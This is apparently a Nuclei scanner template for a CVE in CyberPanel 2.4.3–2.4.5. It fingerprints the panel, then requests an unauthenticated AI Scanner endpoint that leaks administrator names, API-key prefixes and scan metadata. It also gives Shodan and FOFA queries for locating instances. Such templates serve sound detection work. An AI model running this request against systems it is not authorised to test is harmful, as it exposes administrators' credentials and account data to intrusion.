CyberPanel 2.4.3-2.4.5 - AI Scanner Debug Disclosure

id: CVE-2026-87820

info:
  name: CyberPanel 2.4.3-2.4.5 - AI Scanner Debug Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
    CyberPanel versions 2.4.3 through 2.4.5 expose unauthenticated AI Scanner debugging endpoints that disclose administrator usernames, API-key prefixes, scan identifiers, target domains, and account metadata. Unauthenticated attackers can enumerate panel administrators and recent scanner activity to inventory multi-tenant installations and facilitate follow-on attacks.
  impact: |
    Unauthenticated attackers can enumerate panel administrators, API key prefixes,hosted domains, and scan metadata CyberPanel instances.
  remediation: |
    Upgrade CyberPanel to 2.4.6
  reference:
    - https://github.com/usmannasir/cyberpanel/security/advisories/GHSA-qmwq-9cc8-x6h2
    - https://github.com/usmannasir/cyberpanel/commit/20484fd
    - https://nvd.nist.gov/vuln/detail/CVE-2026-87820
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-489
    cve-id: CVE-2026-87820
    epss-score: 0.00247
    epss-percentile: 0.15951
  metadata:
    verified: true
    max-request: 2
    vendor: cyberpanel
    product: cyberpanel
    shodan-query: http.title:"Login - CyberPanel"
    fofa-query: title="Login - CyberPanel"
  tags: cve,cve2026,cyberpanel,debug,disclosure,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(tolower(body), "cyberpanel", "usmannasir/cyberpanel")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/ai-scanner/list-api-keys HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "api_key_prefix", "admin", "recent_scans")'
        condition: and
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